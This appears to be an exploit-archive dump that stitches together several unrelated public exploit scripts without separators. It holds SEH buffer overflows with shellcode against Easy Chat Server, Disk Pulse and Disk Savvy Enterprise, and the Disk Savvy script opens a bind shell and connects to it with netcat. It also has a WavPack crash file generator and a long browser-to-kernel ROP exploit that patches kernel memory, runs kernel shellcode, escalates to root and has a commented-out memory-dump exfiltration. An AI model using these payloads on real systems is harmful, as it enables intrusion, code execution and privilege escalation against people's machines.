1b 00000000`11e4c200 000007fe`e988f02b MSHTML!CHtmParseBase::Execute+0x235
1c 00000000`11e4c2a0 000007fe`e9111a79 MSHTML!CHtmPost::Broadcast+0x115
1d 00000000`11e4c2e0 000007fe`e90a215f MSHTML!CHtmPost::Exec+0x4bb
1e 00000000`11e4c4f0 000007fe`e90a20b0 MSHTML!CHtmPost::Run+0x3f
1f 00000000`11e4c520 000007fe`e90a35ac MSHTML!PostManExecute+0x70
20 00000000`11e4c5a0 000007fe`e90a73a3 MSHTML!PostManResume+0xa1
21 00000000`11e4c5e0 000007fe`e909482f MSHTML!CHtmPost::OnDwnChanCallback+0x43
22 00000000`11e4c630 000007fe`e991f74e MSHTML!CDwnChan::OnMethodCall+0x41
23 00000000`11e4c660 000007fe`e90c7c25 MSHTML!GlobalWndOnMethodCall+0x240
24 00000000`11e4c700 00000000`77449bbd MSHTML!GlobalWndProc+0x150
25 00000000`11e4c780 00000000`774498c2 USER32!UserCallWinProcCheckWow+0x1ad
26 00000000`11e4c840 000007fe`f1d91aab USER32!DispatchMessageWorker+0x3b5
27 00000000`11e4c8c0 000007fe`f1ce59bb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
28 00000000`11e4fb40 000007fe`fda7572f IEFRAME!LCIETab_ThreadProc+0x3a3
29 00000000`11e4fc70 000007fe`fa87925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
2a 00000000`11e4fca0 00000000`773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
2b 00000000`11e4fcf0 00000000`7755a561 kernel32!BaseThreadInitThunk+0xd
2c 00000000`11e4fd20 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
=========================================
-->
# Exploit Author: Juan Sacco <jsacco@exploitpack.com>
# Vulnerability found using Exploit Pack v10 - http://exploitpack.com
#
# Impact:
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in adenial-of-service condition.
#
# Program description:
# Easy Chat Server is a easy, fast and affordable way to host and manage your own real-time communication software,
# it allows friends/colleagues to chat with you through a Web Browser (IE, Safari, Chrome, Opera etc.)
# Vendor page: http://www.echatserver.com/
import string, sys
import socket, httplib
import struct
def exploit():
try:
junk = '\x41' * 217
shortjmp = "\xeb\x08\xcc\xcc" # Jump over SEH
seh = struct.pack('<L', 0x100154c5) # ADD ESP,2C # POP ESI # ADD ESP,0C # RETN ** [SSLEAY32.dll] ** | {PAGE_EXECUTE_READ}
buffersize = 2775
nops = "\x90"
# debug = "\xcc\xcc\xcc\xcc"
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
"\x1c\x80")
buffer = junk + shortjmp + seh + nops * (buffersize -
(len(shellcode))) + shellcode
print buffer
URL = '/chat.ghp?username=' + buffer + '&password=null&room=1&null=2'
conn = httplib.HTTPConnection(host, port)
conn.request('GET', URL)
conn.close()
except Exception as Error:
print "[!] Something went wrong!"
print Error
def howtousage():
print "[!] Sorry, minimum required arguments: [host] [port]"
sys.exit(-1)
if __name__ == '__main__':
print "[*] EChat Server v3.1 CHAT.ghp (UserName)"
print "[*] Author: Juan Sacco <jsacco@exploitpack>"
try:
host = sys.argv[1]
port = sys.argv[2]
except IndexError:
howtousage()
exploit()
# Exploit title: Wavpack 5.1.0 - Denial of Service
# Date: 20.02.2018
# Exploit Author: r4xis
# https://github.com/r4xis
#
# Vendor Homepage: http://www.wavpack.com/
# Software Links: http://www.wavpack.com/downloads.html
# https://github.com/dbry/WavPack
#
#
# Version: Wavpack 5.1.0
# Tested on: Debian 9.3.0 64 bit
# Windows 7 32 bit and 64 bit
# Windows 8 64 bit
#
#
# CVE: CVE-2018-7254
# CVE Details:
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
# https://github.com/dbry/WavPack/issues/26
import os
head = "\x63\x61\x66\x66"
version = "\x00\x01"
junk1 = "\x00"*(0xa0-6)
crash = "\x80"
junk2 = "\x00"*100
f=open("poc.caf", 'w')
f.write(head+version+junk1+crash+junk2)
f.close()
os.system("wavpack poc.caf")
'''
Debian gdb output:
Program received signal SIGSEGV, Segmentation fault.
__memmove_sse2_unaligned_erms ()
at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333
333 ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
'''
#!/usr/bin/env python
# Exploit Title: Disk Pulse Enterprise v10.4.18 - 'Import Command' Buffer Overflow (SEH)
# Date: 2018-01-22
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskpulse.com
# Software Link: http://www.diskpulse.com/setups/diskpulseent_setup_v10.4.18.exe
# Version: 10.4.16
# Tested on: Windows 7 SP1 x86
# CVE: CVE-2017-7310
import os,struct
#Buffer overflow
junk = "A"*1560
#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)
#NOPS
nops = "\x90"
#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (QtGui4.dll)
SEH = struct.pack('<L',0x67033072)
#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
f = open('Exploit.xml', 'w')
f.write(file)
f.close()
# Exploit Title: Disk Savvy Enterprise v10.4.18 Server - Unauthenticated Remote Buffer Overflow SEH
# Date: 01/02/2018
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://www.disksavvy.com/
# Software Link: http://www.disksavvy.com/setups/disksavvyent_setup_v10.4.18.exe
# Version: 10.4.18
# CVE: CVE-2018-6481
# Tested on: Windows 7 x86
from struct import pack
from os import system
from sys import exit
from time import sleep
import socket
port = 9124
host = "172.16.40.148"
# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -f py -b '\x00\x02\x0a\x0d\xf8\xfd' --var-name shellcode
shellcode = ""
shellcode += "\xba\x71\x6d\xbf\xc8\xd9\xc0\xd9\x74\x24\xf4\x5d"
shellcode += "\x29\xc9\xb1\x53\x83\xed\xfc\x31\x55\x0e\x03\x24"
shellcode += "\x63\x5d\x3d\x3a\x93\x23\xbe\xc2\x64\x44\x36\x27"
shellcode += "\x55\x44\x2c\x2c\xc6\x74\x26\x60\xeb\xff\x6a\x90"
shellcode += "\x78\x8d\xa2\x97\xc9\x38\x95\x96\xca\x11\xe5\xb9"
shellcode += "\x48\x68\x3a\x19\x70\xa3\x4f\x58\xb5\xde\xa2\x08"
shellcode += "\x6e\x94\x11\xbc\x1b\xe0\xa9\x37\x57\xe4\xa9\xa4"
shellcode += "\x20\x07\x9b\x7b\x3a\x5e\x3b\x7a\xef\xea\x72\x64"
shellcode += "\xec\xd7\xcd\x1f\xc6\xac\xcf\xc9\x16\x4c\x63\x34"
shellcode += "\x97\xbf\x7d\x71\x10\x20\x08\x8b\x62\xdd\x0b\x48"
shellcode += "\x18\x39\x99\x4a\xba\xca\x39\xb6\x3a\x1e\xdf\x3d"
shellcode += "\x30\xeb\xab\x19\x55\xea\x78\x12\x61\x67\x7f\xf4"
shellcode += "\xe3\x33\xa4\xd0\xa8\xe0\xc5\x41\x15\x46\xf9\x91"
shellcode += "\xf6\x37\x5f\xda\x1b\x23\xd2\x81\x73\x80\xdf\x39"
shellcode += "\x84\x8e\x68\x4a\xb6\x11\xc3\xc4\xfa\xda\xcd\x13"
shellcode += "\xfc\xf0\xaa\x8b\x03\xfb\xca\x82\xc7\xaf\x9a\xbc"
shellcode += "\xee\xcf\x70\x3c\x0e\x1a\xec\x34\xa9\xf5\x13\xb9"
shellcode += "\x09\xa6\x93\x11\xe2\xac\x1b\x4e\x12\xcf\xf1\xe7"
shellcode += "\xbb\x32\xfa\x16\x60\xba\x1c\x72\x88\xea\xb7\xea"
shellcode += "\x6a\xc9\x0f\x8d\x95\x3b\x38\x39\xdd\x2d\xff\x46"
shellcode += "\xde\x7b\x57\xd0\x55\x68\x63\xc1\x69\xa5\xc3\x96"
shellcode += "\xfe\x33\x82\xd5\x9f\x44\x8f\x8d\x3c\xd6\x54\x4d"
shellcode += "\x4a\xcb\xc2\x1a\x1b\x3d\x1b\xce\xb1\x64\xb5\xec"
shellcode += "\x4b\xf0\xfe\xb4\x97\xc1\x01\x35\x55\x7d\x26\x25"
shellcode += "\xa3\x7e\x62\x11\x7b\x29\x3c\xcf\x3d\x83\x8e\xb9"
shellcode += "\x97\x78\x59\x2d\x61\xb3\x5a\x2b\x6e\x9e\x2c\xd3"
shellcode += "\xdf\x77\x69\xec\xd0\x1f\x7d\x95\x0c\x80\x82\x4c"
shellcode += "\x95\xb0\xc8\xcc\xbc\x58\x95\x85\xfc\x04\x26\x70"
shellcode += "\xc2\x30\xa5\x70\xbb\xc6\xb5\xf1\xbe\x83\x71\xea"
shellcode += "\xb2\x9c\x17\x0c\x60\x9c\x3d"
payload = "A" * 124 # offset
payload += "\x90\x09\xeb\x05" # jmp over seh retrun value
payload += "\x13\x6d\x05\x10" # 0x10056d13 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Disk Savvy Enterprise\bin\libspp.dll)
payload += "\x90" * 10
payload += "\x83\xc4\x64" * 20 # metasm > add esp,100
payload += "\xff\xe4" # metasm > jmp esp
payload += "\x90" * (1000 - len(payload) - len(shellcode))
payload += shellcode
header = "\x75\x19\xba\xab"
header += "\x03\x00\x00\x00"
header += "\x00\x40\x00\x00"
header += pack('<I', len(payload))
header += pack('<I', len(payload))
header += pack('<I', ord(payload[-1]))
packet = header
packet += payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[*] Testing connection to tatget %s:%s" %(host,port)
s.connect((host, port))
except:
print "[-] Unable to communicate to target %s:%s" %(host,port)
exit()
s.send(packet)
print "[*] Payload Sent.."
print "[*] Connecting to bind shell %s:4444 .." %host
sleep(5)
system("nc %s 4444"%host)
function stage4_()
{
function malloc(sz)
{
var backing = new Uint8Array(1000+sz);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz)
{
var backing = new Uint8Array(0x1000+sz*4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
var strcpy_helper = new Uint8Array(0x1000);
var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
function strcpy(ptr, str)
{
p.write8(where_writeptr_strcpy, ptr);
for (var i = 0; i < str.length; i++)
strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
strcpy_helper[str.length] = 0;
}
var sysctlbyname = window.libKernelBase.add32(0xF290);
var sysreq = malloc32(0x10);
sysreq.backing[0] = 7;
sysreq.backing[1] = 0;
sysreq.backing[4] = 0x10;
var retv = malloc(0x100);
var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
var str = "";
for (var i=0; i<0x10; i++)
{
str += zeroFill(retv.backing[i].toString(16),2) + " ";
}
// log("psid: " + str)
var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
if (fd == (-1 >>> 0))
{
print("kexp failed: no bpf0");
}
// print("fd: " + fd);
var scratch = malloc(0x100);
var ifname = malloc(0x10);
strcpy(ifname, "wlan0");
p.syscall("ioctl", fd, 0x8020426c, ifname);
var ret = p.syscall("write", fd, scratch, 40);
if (ret.low == (-1 >>> 0))
{
strcpy(ifname, "eth0");
p.syscall("ioctl", fd, 0x8020426c, ifname);
var ret = p.syscall("write", fd, scratch, 40);
if (ret.low == (-1 >>> 0))
{
throw "kexp failed :(";
}
}
var assertcnt = 0;
var assert = function(x)
{
assertcnt++;
if (!x) throw "assertion " + assertcnt + " failed";
}
print("got it");
var bpf_valid = malloc32(0x4000);
var bpf_valid_u32 = bpf_valid.backing;
var bpf_valid_prog = malloc(0x40);
p.write8(bpf_valid_prog, 64)
p.write8(bpf_valid_prog.add32(8), bpf_valid)
for (var i = 0 ; i < 0x4000; )
{
bpf_valid_u32[i++] = 6; // BPF_RET
bpf_valid_u32[i++] = 0;
}
var bpf_invalid = malloc32(0x4000);
var bpf_invalid_u32 = bpf_invalid.backing;
var bpf_invalid_prog = malloc(0x40);
p.write8(bpf_invalid_prog, 64)
p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
for (var i = 0 ; i < 0x4000; )
{
bpf_invalid_u32[i++] = 4; // NOP
bpf_invalid_u32[i++] = 0;
}
var push_bpf = function(bpfbuf, cmd, k)
{
var i = bpfbuf.i;
if (!i) i=0;
bpfbuf[i*2] = cmd;
bpfbuf[i*2+1] = k;
bpfbuf.i = i+1;
}
push_bpf(bpf_invalid_u32, 5, 2); // jump
push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
bpf_invalid_u32.i = 16;
var bpf_write8imm = function(bpf, offset, imm)
{
if (!(imm instanceof int64))
{
imm = new int64(imm,0);
}
push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
push_bpf(bpf, 2, offset); // BPF_ST
push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
}
var bpf_copy8 = function(bpf, offset_to, offset_from)
{
push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
push_bpf(bpf, 2, offset_to); // BPF_ST
push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
push_bpf(bpf, 2, offset_to+1); // BPF_ST
}
var bpf_add4 = function(bpf, offset, val)
{
push_bpf(bpf, 0x60, offset); // BPF_LD
push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
push_bpf(bpf, 2, offset); // BPF_ST
}
var krop_off_init = 0x1e;
var krop_off = krop_off_init;
var reset_krop = function() {
krop_off = krop_off_init;
bpf_invalid_u32.i = 16;
}
var push_krop = function(value)
{
bpf_write8imm(bpf_invalid_u32, krop_off, value);
krop_off += 2;
}
var push_krop_fromoff = function(value)
{
bpf_copy8(bpf_invalid_u32, krop_off, value);
krop_off += 2;
}
var finalize_krop = function(retv)
{
if(!retv) retv = 5;
push_bpf(bpf_invalid_u32, 6, retv); // return 5
}
var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
assert(rtv.low == 0);
rtv = p.syscall("write", fd, scratch, 40);
assert(rtv.low == (-1 >>> 0));
var kscratch = malloc32(0x80);
var kchain = new window.RopChain();
kchain.clear();
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.webKitBase.add32(0x3EBD0));
reset_krop();
//push_krop(window.gadgets["infloop"]); // 8
bpf_copy8(bpf_invalid_u32, 0, 0x1e);
push_krop(window.gadgets["pop rsi"]); // 0x10
push_krop_fromoff(0);
push_krop(window.gadgets["pop rsp"]);
push_krop(kchain.ropframeptr); // 8
finalize_krop(0);
var spawnthread = function(chain) {
/*
seg000:00000000007FA7D0 sub_7FA7D0 proc near ; DATA XREF: sub_7F8330+5Eo
seg000:00000000007FA7D0 55 push rbp
seg000:00000000007FA7D1 48 89 E5 mov rbp, rsp
seg000:00000000007FA7D4 41 56 push r14
seg000:00000000007FA7D6 53 push rbx
seg000:00000000007FA7D7 48 89 F3 mov rbx, rsi
seg000:00000000007FA7DA 49 89 FE mov r14, rdi
seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00 lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
-> xref of sub_7FA7D0:
seg000:00000000007F8380 48 8D 3D 28 D8 EC 00 lea rdi, a1_5_18_0 ; "1.5.18"
seg000:00000000007F8387 48 8D 15 82 23 00 00 lea rdx, sub_7FA710
seg000:00000000007F838E 48 8D 0D 3B 24 00 00 lea rcx, sub_7FA7D0
seg000:00000000007F8395 31 F6 xor esi, esi
seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0
seg000:00000000007F839F 66 41 C7 47 18 00 00 mov word ptr [r15+18h], 0
seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0
seg000:00000000007F83AE E8 8D 3C D3 00 call sub_152C040
-> code:
m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
decodingFailed -> contains longjmp (which we want)
seg000:00000000007FA710 sub_7FA710 proc near ; DATA XREF: sub_7F8330+57o
seg000:00000000007FA710 ; sub_7F9DC0+2Eo
seg000:00000000007FA710 55 push rbp
seg000:00000000007FA711 48 89 E5 mov rbp, rsp
seg000:00000000007FA714 48 8B 35 5D B6 E5 02 mov rsi, cs:qword_3655D78
seg000:00000000007FA71B BA 60 00 00 00 mov edx, 60h ; '`'
seg000:00000000007FA720 E8 AB E6 D2 00 call sub_1528DD0
seg000:00000000007FA725 BE 01 00 00 00 mov esi, 1
seg000:00000000007FA72A 48 89 C7 mov rdi, rax
seg000:00000000007FA72D E8 26 6D 80 FF call sub_1458 < longjmp
seg000:00000000007FA732 0F 0B ud2
seg000:00000000007FA732 sub_7FA710 endp
*/
var longjmp = webKitBase.add32(0x1458);
// ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
/*
seg000:00000000001DD17F 48 8D 15 C9 38 4C 01 lea rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
seg000:00000000001DD186 31 F6 xor esi, esi
seg000:00000000001DD188 E8 B3 1B F9 00 call sub_116ED40 < createThread
*/
var createThread = window.webKitBase.add32(0x116ED40);
var contextp = malloc32(0x2000);
var contextz = contextp.backing;
contextz[0] = 1337;
var thread2 = new RopChain();
thread2.clear();
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
chain(thread2);
p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
window.nogc.push(contextz);
window.nogc.push(thread2);
return thread2;
}
var interrupt1 = 0;
var interrupt2 = 0;
// ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
spawnthread(function(thread2){
interrupt1 = thread2.ropframeptr;
thread2.push(window.gadgets["pop rdi"]); // pop rdi
thread2.push(fd); // what
thread2.push(window.gadgets["pop rsi"]); // pop rsi
thread2.push(0x8010427B); // what
thread2.push(window.gadgets["pop rdx"]); // pop rdx
thread2.push(bpf_valid_prog); // what
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr.add32(0x800)); // what
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]); // ioctl
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr); // what
})
// ioctl() with invalid BPF program -> this will be executed when triggering bug
spawnthread(function(thread2){
interrupt2 = thread2.ropframeptr;
thread2.push(window.gadgets["pop rdi"]); // pop rdi
thread2.push(fd1); // what
thread2.push(window.gadgets["pop rsi"]); // pop rsi
thread2.push(0x8010427B); // what
thread2.push(window.gadgets["pop rdx"]); // pop rdx
thread2.push(bpf_invalid_prog); // what
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr.add32(0x800)); // what
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]); // ioctl
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr); // what
})
function kernel_rop_run(cb)
{
kchain.clear();
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
cb(kchain);
kchain.push(window.gadgets["pop rax"]);
kchain.push(0);
kchain.push(window.gadgets["ret"]);
kchain.push(window.webKitBase.add32(0x3EBD0));
while(1)
{
if (p.syscall(4, fd, scratch, 40).low == 40)
{
return p.read8(kscratch);
break;
}
}
}
function leak_kern_rip() {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rsi"]);
});
}
function kernel_read8(addr) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(addr);
kchain.push(window.webKitBase.add32(0x13A220)); // deref
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
function kernel_memcpy(to,from,size) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(to);
kchain.push(window.gadgets["pop rsi"]);
kchain.push(from);
kchain.push(window.gadgets["pop rdx"]);
kchain.push(size);
kchain.push(window.gadgets["memcpy"]);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var kern_base = leak_kern_rip();
kern_base.low &= 0xffffc000;
kern_base.low -= 0x164000;
log("ay! " + kernel_read8(kern_base) + " " + kern_base);
/*
var chunksz = 0x40000;
var pagebuf = malloc(chunksz);
connection = new WebSocket('ws://192.168.0.125:8080');
connection.binaryType = "arraybuffer";
connection.onmessage = function() {
try {
kernel_memcpy(pagebuf, kern_base, chunksz);
connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
kern_base.add32inplace(chunksz);
}catch(e) {log(e);}
}
LOAD:FFFFFFFF9144CF70 0F 20 C0 mov rax, cr0
LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00 or rax, 5002Ah
LOAD:FFFFFFFF9144CF79 0F 22 C0 mov cr0, rax
LOAD:FFFFFFFF9144CF7C C3 retn
FFFFFFFF91562A58
*/
var getset_cr0 = kern_base.add32(0x280f70);
var set_cr0 = kern_base.add32(0x280f79);
function kernel_get_cr0() {
return kernel_rop_run(function(kchain)
{
kchain.push(getset_cr0);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var cr0val = kernel_get_cr0();
cr0val.low &= ((~(1 << 16)) >>> 0);
log("cr0: " + cr0val);
function kernel_write8_cr0(addr, val) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rax"]);
kchain.push(cr0val);
kchain.push(set_cr0);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(addr);
kchain.push(window.gadgets["pop rax"]);
kchain.push(val);
kchain.push(window.gadgets["mov [rdi], rax"]);
kchain.push(getset_cr0);
});
}
function kernel_fcall(addr, arg0, arg1) {
return kernel_rop_run(function(kchain)
{
if(arg0)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(arg0);
}
if(arg1)
{
kchain.push(window.gadgets["pop rsi"]);
kchain.push(arg1);
}
kchain.push(addr);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var mprotect_patchloc = kern_base.add32(0x396a58);
var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
var mprotect_realbytes = mprotect_patchbytes;
log("patchbytes: " + mprotect_patchbytes);
mprotect_patchbytes.low = 0x90909090;
mprotect_patchbytes.hi &= 0xffff0000;
mprotect_patchbytes.hi |= 0x00009090;
var shellsize = window.shellcode.byteLength;
shellsize += 0x4000;
shellsize &= 0xffffc000;
var shellscratch_to = malloc32((0x10000 + shellsize)/4);
var origin_to = shellscratch_to.low;
shellscratch_to.low &= 0xffffc000;
shellscratch_to.low += 0x8000;
var offset = (shellscratch_to.low - origin_to) / 4;
for (var i=0; i < window.shellcode.length; i++)
{
shellscratch_to.backing[i+offset] = window.shellcode[i];
}
kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
if (mapz.low != 0) throw "mprot fail!";
faultme = shellscratch_to.add32(0x0);
for (var i=0; i < window.shellcode.length; i+= 0x1000)
{
var bck = p.read8(faultme);
p.write8(faultme, 0xc3)
p.fcall(faultme); // test faulting
p.write8(faultme, bck)
}
p.syscall("mlock", shellscratch_to, shellsize);
var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));
var zarguments = malloc32(0x1000);
p.write8(zarguments, kern_base);
p.write8(zarguments.add32(8), fd_kcall);
p.write8(zarguments.add32(16), interrupt1);
p.write8(zarguments.add32(24), interrupt2);
p.write8(zarguments.add32(32), window.syscalls[431]);
p.write8(zarguments.add32(40), window.syscalls[591]);
p.write8(zarguments.add32(48), window.syscalls[594]);
p.write8(zarguments.add32(56), pyld_buf); // pyld
p.write8(zarguments.add32(64), window.pyldpoint);
p.write8(zarguments.add32(72), window.pyld.byteLength);
var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
log(p.read8(shellscratch_to.add32(window.entrypoint)));
log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
p.syscall("setuid", 0);
log("uid: " + p.syscall("getuid"));
alert("enter user");
log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));
var lsscrtch32 = new Uint32Array(0x400);
var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
window.ls = function(path)
{
var sep = "/"
if (path[path.length-1]=="/") sep = "";
var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
if (fd == (-1 >>> 0))
{
print("open("+path+"): -1");
return;
}
alert("getdenv");
print("Directory listing for " +path+":");
var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
if (total == (-1 >>> 0))
{
print("getdents("+path+"): -1");
return;
}
alert("got denv");
var offset = 0;
while (offset < total)
{
var cur = lsscrtch.add32(offset);
var reclen = p.read4(cur.add32(4)) & 0xFFFF;
var filepath = path + sep + p.readstr(cur.add32(8));
print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
offset += reclen;
if(!reclen) break;
}
p.syscall("close", fd);
}
print("<a href=javascript:window.ls('/');>ls /</a>");
}